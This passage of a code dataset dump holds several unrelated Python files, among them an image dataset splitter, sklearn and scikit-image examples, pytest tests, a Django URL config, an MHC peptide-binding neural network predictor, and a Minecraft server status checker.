= next(iter(os.walk(path_to_dataset)))\r\n    sub_dir_item_cnt = [0 for i in range(len(sub_dirs))]\r\n\r\n    # directories where the splitted dataset will lie\r\n    dir_train = os.path.join(os.path.dirname(path_to_dataset), 'train')\r\n    dir_valid = os.path.join(os.path.dirname(path_to_dataset), 'validation')\r\n    dir_test = os.path.join(os.path.dirname(path_to_dataset), 'test')\r\n\r\n    for i, sub_dir in enumerate(sub_dirs):\r\n        print(i,sub_dir)\r\n        dir_train_dst = os.path.join(dir_train, sub_dir)\r\n        dir_valid_dst = os.path.join(dir_valid, sub_dir)\r\n        dir_test_dst = os.path.join(dir_test, sub_dir)\r\n\r\n        # variables to save the sub directory name(class name) and to count the images of each sub directory(class)\r\n        class_name = sub_dir\r\n        sub_dir = os.path.join(path_to_dataset, sub_dir)\r\n        sub_dir_item_cnt[i] = len(os.listdir(sub_dir))\r\n\r\n        items = os.listdir(sub_dir)\r\n\r\n        # transfer data to trainset\r\n        for item_idx in range(round(sub_dir_item_cnt[i] * train_ratio)):\r\n            if not os.path.exists(dir_train_dst):\r\n                os.makedirs(dir_train_dst)\r\n\r\n            source_file = os.path.join(sub_dir, items[item_idx])\r\n            dst_file = os.path.join(dir_train_dst, items[item_idx])\r\n            shutil.copyfile(source_file, dst_file)\r\n\r\n        # transfer data to validation\r\n        for item_idx in range(round(sub_dir_item_cnt[i] * train_ratio) + 1,\r\n                              round(sub_dir_item_cnt[i] * (train_ratio + valid_ratio))):\r\n            if not os.path.exists(dir_valid_dst):\r\n                os.makedirs(dir_valid_dst)\r\n\r\n            source_file = os.path.join(sub_dir, items[item_idx])\r\n            dst_file = os.path.join(dir_valid_dst, items[item_idx])\r\n            shutil.copyfile(source_file, dst_file)\r\n\r\n        # transfer data to testset\r\n        for item_idx in range(round(sub_dir_item_cnt[i] * (train_ratio + valid_ratio)) + 1, sub_dir_item_cnt[i]):\r\n            if not os.path.exists(dir_test_dst):\r\n                os.makedirs(dir_test_dst)\r\n\r\n            source_file = os.path.join(sub_dir, items[item_idx])\r\n            dst_file = os.path.join(dir_test_dst, items[item_idx])\r\n            shutil.copyfile(source_file, dst_file)","sub_path":"VGGData.py","file_name":"VGGData.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"94622124","text":"# -*- coding:utf-8 -*-\n\n\nimport time\n\nfrom torcms.core import tools\nfrom torcms.model.core_tab import CabReply, CabPost2Reply\n\n\nclass MPost2Reply():\n    def __init__(self):\n        self.tab = CabPost2Reply\n        try:\n            CabPost2Reply.create_table()\n        except:\n            pass\n\n    def insert_data(self, id_post, id_reply):\n        uid = tools.get_uuid()\n        try:\n            self.tab.create(\n                uid=uid,\n                post_id=id_post,\n                reply_id=id_reply,\n                timestamp=time.time(),\n            )\n            return (uid)\n        except:\n            return False\n\n    def get_by_id(self, in_uid):\n        recs = self.tab.select().join(CabReply).where(self.tab.post_id == in_uid).order_by(self.tab.timestamp.desc())\n        return recs\n","sub_path":"src/torcms/model/mpost2reply.py","file_name":"mpost2reply.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"420568764","text":"\n\n\nimport numpy as np \nimport matplotlib.pyplot as plt\nfrom skimage import transform\nfrom skimage import io\n\nim1= io.imread(\"frame1.png\")\nplt.imshow(im1)\nplt.show()\n\nx=500\ny=1000\nsrc = np.array([[0, 0], [x, 0], [0, y], [x, y]])\ndst = np.array([[122, 57], [446,87], [86,608], [521, 521]])\n\n\ntform3 = transform.ProjectiveTransform()\n\ntform3.estimate(src, dst)\nplt.imshow(transform.warp(im1, tform3,output_shape=(y,x)))\n\nplt.show()\n\n\n","sub_path":"transform1.py","file_name":"transform1.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"387759121","text":"import pandas\nfrom sklearn import linear_model\n\ndf = pandas.read_csv(\"cars.csv\")\n\nX = df[['Weight', 'Volume']]\ny = df['CO2']\n\nregr = linear_model.LinearRegression()\nregr.fit(X, y)\n\nprint(regr.coef_)\n\n\n\n#  Coefficient\n#  The coefficient is a factor that describes the relationship with an unknown variable.\n\n#  Example: if x is a variable, then 2x is x two times. x is the unknown variable, and the number 2 is the coefficient.\n\n#  In this case, we can ask for the coefficient value of weight against CO2, and for volume against CO2. The answer(s) we get tells us what would happen if we increase, or decrease, one of the independent values.\n\n#  Example\n#  Print the coefficient values of the regression object:\n    \n    \n#  Result Explained\n#  The result array represents the coefficient values of weight and volume.\n\n#  Weight: 0.00755095\n#  Volume: 0.00780526\n\n#  These values tell us that if the weight increase by 1kg, the CO2 emission increases by 0.00755095g.\n\n#  And if the engine size (Volume) increases by 1 cm3, the CO2 emission increases by 0.00780526 g.\n\n","sub_path":"Python Examples/08) Machine Learning/index673.py","file_name":"index673.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"368310484","text":"# coding: utf8\nimport pytest\n\nfrom app.core.stations import GetInviterSt\nfrom app.core.statuses import Statuses as Code\nfrom app.database.queries import User\nfrom tests.helpers.fake_executions import fake_execution\nfrom tests.helpers.fake_executions import fake_execution_with_error\n\n\nREFERRAL_ID = 123456789\nKEY_REFERRAL_ID = \"referral_id\"\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.stations\nasync def test__traveled(train, monkeypatch):\n    monkeypatch.setattr(GetInviterSt, \"execution\", fake_execution)\n    train.data[KEY_REFERRAL_ID] = REFERRAL_ID\n    status = await GetInviterSt.traveled(train)\n\n    assert status == Code.IS_OK\n    assert isinstance(train.states['inviter'], dict)\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.stations\nasync def test__traveled_with_error(train, monkeypatch):\n    monkeypatch.setattr(GetInviterSt, \"execution\", fake_execution_with_error)\n    status = await GetInviterSt.traveled(train)\n\n    assert status == Code.EMERGENCY_STOP\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.stations\nasync def test__query_data(train):\n    query_name = GetInviterSt.query_data(train)\n    query_data = train.queries[query_name]\n    assert query_data.get(\"id\")\n\n\n@pytest.mark.unit\n@pytest.mark.core\n@pytest.mark.stations\nasync def test__storage_query():\n    storage_query = GetInviterSt.storage_query()\n    bound_method = User.get\n    assert storage_query == bound_method\n","sub_path":"tests/units/stations/test__get_inviter_st.py","file_name":"test__get_inviter_st.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"409081910","text":"# Filename: q2_calc_cylinder_volume.py\r\n# Author: Ang Yong Loong\r\n# Class: 5C23\r\n# Created: 22012013\r\n# Modified: 22012013\r\n# Description: Program to calculate base and volume of cylinder\r\n\r\n# main\r\n\r\nfrom math import *\r\n\r\n# prompt and get radius of circle base\r\nradius = int(input(\"Enter radius of circle base (cm): \"))\r\n\r\n# prompt and get length of cylinder\r\nlength = float(input(\"Enter length of cylinder (cm): \"))\r\n\r\n# calculate area and volume\r\narea = (radius * radius * pi)\r\nvolume = (area * length)\r\n\r\n# display result\r\nprint(\"Area of circle base (cm^2): {0:.2f}\".format(area))\r\nprint(\"Volume of cylinder (cm^3): {0:.2f}\".format(volume))\r\n\r\n\r\ninput(\"\\n\\nPlease hit the enter key to exit.\")\r\nexit()\r\n","sub_path":"practical01/q2_calc_cylinder_volume.py","file_name":"q2_calc_cylinder_volume.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"61849002","text":"#! /usr/bin/python\nfrom Bio.Seq import Seq, SeqRecord\nimport sys\n# This script should read the alignment file of a clade, extract one element\n# write it in a separate fasta file (removing the gaps). Then it should also\n# read the version of the clade that doesn't have the general PKS signal,\n# extract the same element, and write to another fasta file the rest of the\n# entries. The first fasta file written, the only only holding one sequence,\n# should be the query fasta file. The second, bigger file, should be processed\n# by the HMMMER tool to create a profile to search against.\n\n__author__=\"pmoreno\"\n__date__ =\"$May 29, 2011 5:16:28 PM$\"\n\nif __name__ == \"__main__\":\n    #dirOfHMMModels = sys.argv[1]\n    fastaFileCladeNoGeneralSignal = sys.argv[1]\n    fastaFileClade = sys.argv[2]\n    entryToTest = int(sys.argv[3])\n    resultFolder = sys.argv[4]\n\n    from Bio import AlignIO, SeqIO\n    from Bio.Alphabet import IUPAC, Gapped\n    from Bio.Align import MultipleSeqAlignment\n\n    alignmentNoGenSignalIterator = AlignIO.parse(fastaFileCladeNoGeneralSignal,\"fasta\",alphabet=Gapped(IUPAC.ExtendedIUPACProtein(),\"-\"));\n    alignmentIterator = AlignIO.parse(fastaFileClade,\"fasta\",alphabet=Gapped(IUPAC.ExtendedIUPACProtein(),\"-\"));\n\n    noGenSignalAlignment = alignmentNoGenSignalIterator.next()\n    queryFasta = resultFolder+\"/\"+\"Query_%d.faa\" % (entryToTest,)\n    ownCladeProfile = resultFolder+\"/\"+\"ForOwnCladeProfile_%d.faa\" % (entryToTest,)\n    #print testAlignment[entryToTest].id\n    #print testAlignment[entryToTest].seq\n\n    alignmentWithSignal = alignmentIterator.next()\n    desiredSeqString = str(alignmentWithSignal[entryToTest-1].seq)\n    desiredSeqString = desiredSeqString.replace(\"-\", \"\")\n    #print desiredSeqString\n    seqNoGaps = Seq(desiredSeqString, alphabet=IUPAC.ExtendedIUPACProtein())\n    #print seqNoGaps\n    seqRecNoGaps = SeqRecord(seq=seqNoGaps, id=alignmentWithSignal[entryToTest-1].id)\n    #print seqRecNoGaps.seq\n    #print seqRecNoGaps.id\n    SeqIO.write(seqRecNoGaps, queryFasta, \"fasta\")\n    \n    #print \"Number of entries: \",len(testAlignment)\n    # Here we remove the desired element\n    newTestAlignment = []\n    for i in range(len(noGenSignalAlignment)):\n        if i != entryToTest-1 :\n            newTestAlignment.append(noGenSignalAlignment[i])\n\n    newAlignment = MultipleSeqAlignment(newTestAlignment)\n\n    AlignIO.write(newAlignment, ownCladeProfile,\"fasta\")\n    #print \"Number of entries after: \",len(newTestAlignment)\n\n\n","sub_path":"PKSPredictor-Core/src/utils/FastaEntryRemover.py","file_name":"FastaEntryRemover.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"569732416","text":"# Describe script here.\n# Created on Monday December 17, 2018.\n# Created by Christopher Birkbeck\n\nimport time\n\ndef countdown(t):\n    while t:\n        mins, secs = divmod(t, 60)\n        timeformat = '{:02d}:{:02d}'.format(mins, secs)\n        print(timeformat, end='\\r')\n        time.sleep(1)\n        t -= 1\n    print('Done!')\n\n\n","sub_path":"i3/status/countdown.py","file_name":"countdown.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"232459616","text":"from django.urls import path, include\n\nfrom rest_framework.routers import DefaultRouter\n\nfrom profiles_api import views\n\n\nrouter = DefaultRouter() # Create router.\nrouter.register('hello-viewset', views.HelloViewSet, base_name='hello-viewset') # Register viewset.\n\n# Don't need to specify base name due to queryset obj in UserProfileViewSet class\nrouter.register('profile', views.UserProfileViewSet)\n\nrouter.register('feed', views.UserProfileFeedViewSet)\n\nurlpatterns = [\n    path('hello-view/', views.HelloApiView.as_view()),\n    path('login/', views.UserLoginApiView.as_view()), # Enable login endpoint for django rest framework.\n    path('', include(router.urls)) # Generates list of urls needed for viewset functions. '' Means no prefix.\n]\n","sub_path":"WebDev/Django/Build a Backend REST API with Python & Django (Udemy. Mark Winterbottom)/profiles_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"218297976","text":"#MHCi1_prediction.py\n\nimport os, sys, math, re\nimport numpy as np\nimport pandas as pd\nfrom time import time\nimport epitopepredict as ep\n\nfrom sklearn import metrics\nimport joblib\nfrom sklearn.model_selection import train_test_split,cross_val_score,ShuffleSplit\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import cross_validate\nfrom sklearn.model_selection import KFold\n\nimport PredictionFunction as PF\n\nmodule_path = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) #code\\MHC-peptide_prediction\ncurrent_path = os.path.dirname(os.path.abspath(__file__)) #code\\MHC-peptide_prediction\\MHCI_BP_predictor\nmodel_path = os.path.join(module_path,\"models\") #code\\MHC-peptide_prediction\\models\ndata_path = os.path.join(module_path,\"data\") #code\\MHC-peptide_prediction\\data\n\ndef blosum62_encode(seq):\n    return PF.encode(PF.readBLOSUM(62), seq)\n\ndef build_predictor(training_data, allele, encoder, hidden_node):\n    '''use taining data to train MLPRegressor model\n    training_data: DataFrame\n        the training data (must contain peptide and log50k column)\n    allele: string\n        the name of the allele, must be standard name\n    encoder: function\n        the encoding method used in the training\n    hidden_node: int\n        hidden node number\n    \n    Return:\n    -------\n    reg: MLPRegressor\n        The fitted regressor model\n    '''\n    data = training_data.loc[training_data['allele'] == allele]\n\n    #set data numebr threshold\n    if len(data) < 100:\n        return\n    \n    reg = MLPRegressor(hidden_layer_sizes=(hidden_node), alpha=0.01, max_iter=5000, early_stopping=True,\n                        activation='relu', solver='adam', random_state=2)\n    X = data.peptide.apply(lambda x: pd.Series(encoder(x)),1) \n    y = data.log50k\n\n    reg.fit(X,y)       \n    return reg\n\ndef get_allele_names(data, threshold=100):\n    '''find alleles in the data which have more data number than the threshold\n    data: DataFrame\n        the object data\n    threshold: int\n        data number (sample number) threshold\n    \n    Return:\n    -------\n    names: list\n        the list of the alleles having more data than threshold\n    '''\n    a = data.allele.value_counts()\n    a =a[a>threshold]\n    names = list(a.index)\n    return names\n\ndef basicMHCiCrossValid(X, y, hidden_node, cv_num):\n    '''K-fold Cross Validation for basic MHCi1 method\n    X: DataFrame\n        encoded training input nodes (features)\n    y: DataFrame\n        labels\n    hidden_node: int\n        hidden node number\n    cv_num: int\n        the K number in K-fold CrossValidation (CV)\n\n    Return:\n    ------ \n    avg_auc: double\n        average Area Under Curve (AUC) valie in K-fold CV\n    avg_r: double\n        average Pearson Correlation Coeefficient (PCC) value in k-fold CV\n    '''\n    reg = MLPRegressor(hidden_layer_sizes=(hidden_node), alpha=0.01, max_iter=1000,\n                        activation='relu', solver='adam', random_state=2)\n    auc_list = []\n    r_list = []\n    kf = KFold(n_splits=cv_num, shuffle=True)\n    for k, (train, test) in enumerate(kf.split(X, y)):\n        print(\"Hidden nodee:%d, fold %d starts\" %(hidden_node, k))\n        t0 = time()\n        reg.fit(X[train], y[train])\n        scores = reg.predict(X[test])\n        auc = PF.auc_score(y[test], scores, cutoff=.426)\n        r = PF.pearson_score(y[test], scores)\n        auc_list.append(auc)\n        r_list.append(r)\n        t1 = time()\n        print(\"fold %d done\" %k)\n    # print(auc_list)\n    # print(r_list)\n    avg_auc = np.mean(auc_list)\n    avg_r = np.mean(r_list)\n\n    return avg_auc, avg_r\n\ndef MHCi1_allLength_CrossValid(file_path, length):\n    '''Test and Record Basic9mer Cross Validation\n    '''\n    dataset = pd.read_csv(file_path)\n    dataset = dataset.loc[dataset['length'] == length]\n    alleles = dataset.allele.unique().tolist()\n    # print(dataset)\n    HiddenRange = range(60,61)\n    header = pd.DataFrame(np.array(HiddenRange).reshape(1, -1), index=[\"hidden node\"])\n    header.to_csv(os.path.join(current_path, \"basicMHC_One_crossValidation_auc.csv\"), mode='a', header=False)\n    header.to_csv(os.path.join(current_path, \"basicMHC_One_crossValidation_pcc.csv\"), mode='a', header=False)\n    for allele in alleles:\n        t0 = time()\n        allele_dataset = dataset.loc[dataset['allele'] == allele]\n        X = allele_dataset.peptide.apply(lambda x: pd.Series(blosum62_encode(x)),1).to_numpy()\n        y = allele_dataset.log50k.to_numpy()\n        auc_list = []\n        pcc_list = []\n        for i in HiddenRange:\n            auc, r = basicMHCiCrossValid(X, y, i, 5)\n            auc_list.append(auc)\n            pcc_list.append(r)\n            # score = pd.DataFrame(np.array([auc, r]).reshape(1, -1), columns=[\"AUC\", \"PCC\"], index=[str(i)])\n            # score.to_csv(os.path.join(current_path, \"basicPan_crossValidation.csv\"), mode='a', header=False)\n        auc_df = pd.DataFrame(np.array(auc_list).reshape(1,-1), columns=[i for i in HiddenRange], index = [allele])\n        pcc_df = pd.DataFrame(np.array(pcc_list).reshape(1,-1), columns=[i for i in HiddenRange], index = [allele])\n        print(auc_df)\n        print(pcc_df)\n        auc_df.to_csv(os.path.join(current_path, \"basicMHC_One_crossValidation_auc.csv\"), mode='a', header=False)\n        pcc_df.to_csv(os.path.join(current_path, \"basicMHC_One_crossValidation_pcc.csv\"), mode='a', header=False)\n        t1 = time()\n        print(\"%s is done, run in Elapsed time %d(m)\" %(allele, (t1-t0)/60))\n\n# MHCi1_allLength_CrossValid(os.path.join(data_path, \"modified_mhc.20130222.csv\"), 9)\n\ndef mhci1_predictPeptide(dataset, outputFile=None):\n    dataset = pd.DataFrame(dataset.query('length > 7 and length < 12'))\n    alleles = dataset.allele.unique().tolist()\n    df_list = []\n    print(dataset)\n    for allele in alleles:\n        allele_dataset = dataset.loc[dataset['allele'] == allele]\n        lengths = allele_dataset.length.unique().tolist()\n        for length in lengths:\n            data = allele_dataset.loc[allele_dataset['length'] == length]\n            if len(data) == 0:\n                continue\n            aw = re.sub('[*:]','_',allele) \n            reg = PF.find_model(aw, length)\n            if reg == None:\n                scores = pd.DataFrame(np.array(['nan']*len(data)), columns=['MHCi1_log50k'], index=data.index)\n            else:\n                X = data.peptide.apply(lambda x: pd.Series(blosum62_encode(x)),1)\n                # print(data.shape, X.shape)\n                scores = pd.DataFrame(reg.predict(X), columns=['MHCi1_log50k'], index=data.index)\n            result = pd.concat([data, scores], axis=1)\n            df_list.append(result)\n    combined_df = pd.concat(df_list, axis=0, sort=True)\n    combined_df.sort_index(inplace=True)\n    print(combined_df)\n\n    if outputFile != None:\n        combined_df.to_csv(outputFile)\n\ndef test_mhci1_predictPeptide():\n    # path = os.path.join(data_path, \"VACV_evaluation_dataset.csv\")\n    path = os.path.join(data_path, \"modified_mhciTumor_dataset.csv\")\n    dataset = pd.read_csv(path)\n    # mhci1_predictPeptide(dataset, os.path.join(current_path, \"mhci1_VACV_result.csv\"))\n    mhci1_predictPeptide(dataset, os.path.join(current_path, \"mhci1_Tumor_result.csv\"))\n\n# test_mhci1_predictPeptide()\n\ndef MHCi1_BuildModel_For_SingleLength(dataset, length, hidden_node):\n    '''Find 9mer data in the dataset and use it to train and save predictor model\n    Object path: model_path\n    dataset: DataFrame\n        The standardlized-format dataset, must contains 'allele', 'peptide', 'length', 'log50k' columns\n    length: int\n        The length of the peptides in training_data\n    hidden_node: int\n        The number of hidden layer nodes\n    \n    Return:\n    ------\n    None\n    '''\n    allele_dataset = dataset.loc[dataset['length'] == length]\n    alleles = allele_dataset.allele.unique().tolist()\n    path = os.path.join(model_path, \"mhci1\")\n    for allele in alleles:\n        data = allele_dataset.loc[allele_dataset['allele'] == allele]\n        aw = re.sub('[*:]','_', allele) \n        fname = os.path.join(path, aw + \"-\" + str(length) +'.joblib')\n        reg = build_predictor(data, allele, blosum62_encode, hidden_node)\n        if reg is not None:\n            joblib.dump(reg, fname, protocol=2)\n            print(\"predictor for allele %s is done\" %allele)\n\ndef SingleEvaluation(X, y, allele, length):\n    '''Evaluation of predictor of single allele on single length\n    X: DataFrame\n        encoded training input nodes (features)\n    y: DataFrame\n        labels\n    length: int\n        The length of the peptides being tested.\n\n    '''\n    reg = PF.find_model(allele, length)\n    if reg is None:\n        print ('Locals do not have model for this allele.')\n        return float('nan')\n    scores = reg.predict(X)\n\n    #Generate auc value\n    auc = PF.auc_score(y,scores,cutoff=.426) # auc = ep.auc_score(y_test,sc,cutoff=.426)\n    # auc = auc_score(x.ic50,x.score,cutoff=500)\n    return auc\n\ndef AlleleSpecificEvaluation(datasetPath, length):\n    '''Evaluation of predictors of single allele on all lengths in the dataset\n    datasetPath: string\n        The file path of the dataset\n    length: int\n        The length of the peptides in the dataset\n    \n    Returns:\n    -------\n    auc_df: DataFrame\n        The Area Under Curve (AUC) dataframe as output\n    '''\n    auc_list = []\n    df = pd.read_csv(datasetPath)\n    alleles = df.allele.unique().tolist()\n    lengths = df.length.unique().tolist()\n    if len(lengths) != 1:\n        print(\"The dataset does not contain only one length\")\n        return\n    if lengths[0] != length:\n        print(\"The length of peptides in the dataset is not consistent with what you claimed.\")\n        return\n    \n    print(\"Your dataset has %d alleles.\\n They are:\" %len(alleles))\n    print(alleles)\n\n    for allele in alleles:\n        data = df.loc[df['allele'] == allele]\n        X = data.peptide.apply(lambda x: pd.Series(PF.blosum_encode(x)),1)\n        y = data.log50k\n        aw = re.sub('[*:]','_',allele) \n        result = SingleEvaluation(X, y, aw, length)\n        auc_list.append(result)\n        print(\"Evaluation: allele %s of length %d is done\\n\" %(allele, length))\n\n    #Write Result\n    auc_df = pd.DataFrame(auc_list, index = alleles.tolist())\n    auc_df.columns = ['auc']\n    print(auc_df)\n\n    return auc_df\n\ndef Non9merCrossValid(X, y, hidden_node):\n    \n    reg = MLPRegressor(hidden_layer_sizes=(hidden_node), alpha=0.01, max_iter=1000,\n                        activation='relu', solver='adam', random_state=2)\n    \n    avg_auc_list = []\n    avg_pcc_list = []\n    for i in range(10):\n        auc_list = []\n        r_list = []\n        kf = KFold(n_splits=5, shuffle=True)\n        for k, (train, test) in enumerate(kf.split(X, y)):\n            t0 = time()\n            reg.fit(X[train], y[train])\n            scores = reg.predict(X[test])\n            auc = PF.auc_score(y[test], scores, cutoff=.426)\n            r = PF.pearson_score(y[test], scores)\n            auc_list.append(auc)\n            r_list.append(r)\n            t1 = time()\n        # print(auc_list)\n        # print(r_list)\n        avg_auc = np.mean(auc_list)\n        avg_r = np.mean(r_list)\n        avg_auc_list.append(avg_auc)\n        avg_pcc_list.append(avg_r)\n\n    return np.mean(avg_auc_list), np.mean(avg_pcc_list)\n\ndef test_Non9merCrossValid():\n    file_path = os.path.join(data_path, \"modified_mhc.20130222.csv\")\n    dataset = pd.read_csv(file_path)\n    dataset = dataset.loc[dataset['length'] != 9]\n    alleles = dataset.allele.unique().tolist()\n    # print(dataset)\n    HiddenRange = range(5,21)\n    header = pd.DataFrame(np.array(HiddenRange).reshape(1, -1), index=[\"hidden node\"])\n    header.to_csv(os.path.join(current_path, \"basicMHC_Non9mer_crossValidation_auc.csv\"), mode='a', header=False)\n    header.to_csv(os.path.join(current_path, \"basicMHC_Non9mer_crossValidation_pcc.csv\"), mode='a', header=False)\n    for length in [8, 10, 11]:\n        length_dataset = dataset.loc[dataset['length'] == length]\n        t0 = time()\n        for allele in alleles:\n            allele_dataset = length_dataset.loc[length_dataset['allele'] == allele]\n            X = allele_dataset.peptide.apply(lambda x: pd.Series(blosum62_encode(x)),1).to_numpy()\n            y = allele_dataset.log50k.to_numpy()\n            auc_list = []\n            pcc_list = []\n            for i in HiddenRange:\n                auc, r = Non9merCrossValid(X, y, i)\n                auc_list.append(auc)\n                pcc_list.append(r)\n                # score = pd.DataFrame(np.array([auc, r]).reshape(1, -1), columns=[\"AUC\", \"PCC\"], index=[str(i)])\n                # score.to_csv(os.path.join(current_path, \"basicPan_crossValidation.csv\"), mode='a', header=False)\n            auc_df = pd.DataFrame(np.array(auc_list).reshape(1,-1), columns=[i for i in HiddenRange], index = [allele+\"_\"+str(length)+\"mer\"])\n            pcc_df = pd.DataFrame(np.array(pcc_list).reshape(1,-1), columns=[i for i in HiddenRange], index = [allele+\"_\"+str(length)+\"mer\"])\n            print(auc_df)\n            print(pcc_df)\n            auc_df.to_csv(os.path.join(current_path, \"basicMHC_Non9mer_crossValidation_auc.csv\"), mode='a', header=False)\n            pcc_df.to_csv(os.path.join(current_path, \"basicMHC_Non9mer_crossValidation_pcc.csv\"), mode='a', header=False)\n            print(\"allele %s on length %d is done\" %(allele, length))\n        t1 = time()\n        print(\"length %d is done, run in Elapsed time %d(m)\" %(length, (t1-t0)/60))\n\n\n# test_Non9merCrossValid()\n\ndef MHCi1_Build_Model_For_Lengths(DataPath, lengths, hidden_node):\n    '''Build prediction models for data of different lengths\n\n    '''\n    dataset = pd.read_csv(DataPath)\n    for length in lengths:\n        length_dataset = dataset.loc[dataset['length'] == length]\n        if len(length_dataset) > 20:\n            MHCi1_BuildModel_For_SingleLength(length_dataset, length, hidden_node)\n\nMHCi1_Build_Model_For_Lengths(os.path.join(data_path, \"modified_mhc.20130222.csv\"), [9], 14)\n","sub_path":"MHCI_BP_predictor/MHCi1prediction.py","file_name":"MHCi1prediction.py","file_ext":"py","file_size_in_byte":13983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"56683912","text":"from flask_sqlalchemy import SQLAlchemy\nfrom app import app\n\n\ndb = SQLAlchemy(app)\n\n\n@app.teardown_request\ndef teardown_request(exception):\n    if exception:\n        db.session.rollback()\n        db.session.close()\n    db.session.close()\n","sub_path":"web/backend/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"114180566","text":"from aiohttp import web\r\nimport asyncio\r\nimport concurrent.futures\r\nimport socket\r\nfrom functools import partial\r\nfrom mcstatus import MinecraftServer as mcstatus\r\nfrom pyraklib.protocol.UNCONNECTED_PING import UNCONNECTED_PING\r\nfrom pyraklib.protocol.UNCONNECTED_PONG import UNCONNECTED_PONG\r\nfrom time import sleep, time\r\n\r\n\r\nglobal loop\r\nglobal default\r\n\r\n# default / offline server\r\ndefault = {\r\n    'online': False, # boolean\r\n    'map': None, # string\r\n    'players_online': 0, # int\r\n    'players_max': 0, # int\r\n    'players_names': [], # List['player', 'player']\r\n    'latency': 0, # float milliseconds\r\n    'version': {'brand': None, 'software': None, 'protocol': None}, # dict\r\n    'motd': None, # string\r\n    'favicon': None, # string / dataurl\r\n    'plugins': [], # List['plugin', 'plugin']\r\n    'gamemode': None # string\r\n}\r\n\r\nasync def cleanup_args(server_str, _port=None):\r\n    if ':' in server_str and _port is None:\r\n        split = server_str.split(':')\r\n        ip = split[0]\r\n        try:\r\n            port = int(split[1])\r\n        except ValueError:\r\n            return default\r\n    else:\r\n        ip = server_str\r\n        port = _port\r\n\r\n    if port is None:\r\n        str_port = ''\r\n        if ':' not in server_str:\r\n            str_port = ':25565'\r\n\r\n    return ip, port, str_port\r\n\r\ndef ping_status(combined_server):\r\n    try:\r\n        status = mcstatus.lookup(combined_server).status()\r\n    except Exception:\r\n        return default\r\n\r\n    s_dict = default.copy()\r\n\r\n    s_dict['online'] = True\r\n    s_dict['players_online'] = status.players.online\r\n    s_dict['players_max'] = status.players.max\r\n    s_dict['players_names'] = None if status.players.sample is None else [p.name for p in status.players.sample]\r\n    s_dict['latency'] = round(status.latency, 2)\r\n    s_dict['version'] = {\r\n        'brand': 'Java Edition',\r\n        'software': status.version.name, # string\r\n        'protocol': f'ping {status.version.protocol}', #string\r\n        'method': 'ping'\r\n    }\r\n    s_dict['motd'] = status.description\r\n    s_dict['favicon'] = status.favicon\r\n\r\n    return s_dict\r\n\r\ndef query_status(combined_server):\r\n    time_before = time()\r\n\r\n    try:\r\n        query = mcstatus.lookup(combined_server).query()\r\n    except Exception:\r\n        return default\r\n\r\n    latency = round((time() - time_before) * 1000, 2)\r\n\r\n    s_dict = default.copy()\r\n\r\n    s_dict['online'] = True\r\n    s_dict['players_online'] = query.players.online\r\n    s_dict['players_max'] = query.players.max\r\n    s_dict['players_names'] = query.players.names\r\n    s_dict['latency'] = latency\r\n    s_dict['version'] = {\r\n        'brand': None,\r\n        'software': query.software.version, # string\r\n        'protocol': 'query',\r\n        'method': 'query'\r\n    }\r\n    s_dict['motd'] = query.motd\r\n    s_dict['map'] = query.map\r\n    s_dict['plugins'] = query.software.plugins\r\n\r\n    return s_dict\r\n\r\ndef raknet_status(ip, port):\r\n    if port is None:\r\n        port = 19132\r\n\r\n    ping = UNCONNECTED_PING()\r\n    ping.pingID = 4201\r\n    ping.encode()\r\n\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n    #s.setblocking(0) # non blocking\r\n    s.settimeout(2) # 2 seconds\r\n\r\n    time_before = time()\r\n    try:\r\n        s.sendto(ping.buffer, (socket.gethostbyname(ip), port))\r\n        recv_data = s.recvfrom(2048)\r\n    except BlockingIOError:\r\n        return default\r\n    except socket.gaierror:\r\n        return default\r\n    except socket.timeout:\r\n        return default\r\n\r\n    pong = UNCONNECTED_PONG()\r\n    pong.buffer = recv_data[0]\r\n    pong.decode()\r\n\r\n    latency = round((time() - time_before) * 1000, 2)\r\n\r\n    data = pong.serverName.decode('UTF-8').split(';')\r\n    # str(pong.serverName) => https://wiki.vg/Raknet_Protocol#Unconnected_Ping\r\n    # b'MCPE;Nether updateeeeeee!;407;1.16.1;1;20;12172066879061040769;Xenon BE 6.0;Survival;1;19132;19133;'\r\n\r\n    s_dict = default.copy()\r\n\r\n    s_dict['online'] = True\r\n    s_dict['players_online'] = int(data[4])\r\n    s_dict['players_max'] = int(data[5])\r\n    s_dict['latency'] = latency\r\n    s_dict['version'] = {\r\n        'brand': data[0], # string\r\n        'software': None, # string, assumes server is vanilla bc pocketmine + nukkit use query\r\n        'protocol': f'raknet {data[2]}',\r\n        'method': 'raknet'\r\n    }\r\n    s_dict['motd'] = data[1]\r\n\r\n    try:\r\n        s_dict['map'] = 